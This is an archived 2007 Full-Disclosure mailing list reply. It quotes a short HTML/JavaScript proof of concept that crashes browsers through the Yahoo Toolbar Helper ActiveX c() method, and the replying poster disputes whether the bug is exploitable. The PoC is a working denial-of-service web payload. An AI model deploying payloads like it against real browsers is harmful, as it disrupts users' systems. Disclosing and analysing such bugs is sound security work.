full-disclosure - Re: Yahoo Toolbar Helper c() Method Stack Overflow DoS

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Fri, 30 Nov 2007 10:59:37 -0500
From: "Joey Mengele" <joey.mengele@...hmail.com>
To: <full-disclosure@...ts.grok.org.uk>,<elazarb@...thlink.net>
Subject: Re: Yahoo Toolbar Helper c() Method Stack
	Overflow DoS

Yeah, strange how EIP isn't overwritten with your hacker savvy 0x41 
characters. Except for the fact that this again is a stack overflow 
exception and not a stack based buffer overflow. I implore you, 
LEAVE THE TROLLING TO THE PROFESSIONALS. Thanks.

J

On Wed, 31 Dec 1969 19:00:00 -0500 Elazar Broad 
<elazarb@...thlink.net> wrote:
>There is a stack overflow in the c() method of the Yahoo Toobar 
>Helper class. This overflow does not appear to get anywhere near 
>the EIP or SEH. PoC as follows:
>
>----------------------
><!--
> written by e.b.
>-->
><html>
> <head>
>  <script language="JavaScript" DEFER>
>    function Check() {
>    var s = "AAAA";
>
>     while (s.length < 999999) s=s+s;
>
>     var obj = new ActiveXObject("yt.ythelper.2"); //{02478D38-
>C3F9-4EFB-9B51-7695ECA05670}
>      obj.c(s);
>   }
>  </script>
>
> </head>
> <body onload="JavaScript: return Check();">
> </body>
></html>
>----------------------
>
>Elazar
>
>_______________________________________________
>Full-Disclosure - We believe in it.
>Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>Hosted and sponsored by Secunia - http://secunia.com/

--
Click here for to find products that will help grow your small business.
http://tagline.hushmail.com/fc/Ioyw6h4eDJdaRPJuJyztiEAJ83hvsi2qyqoJMOdLAcA5KZpqWleU5a/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/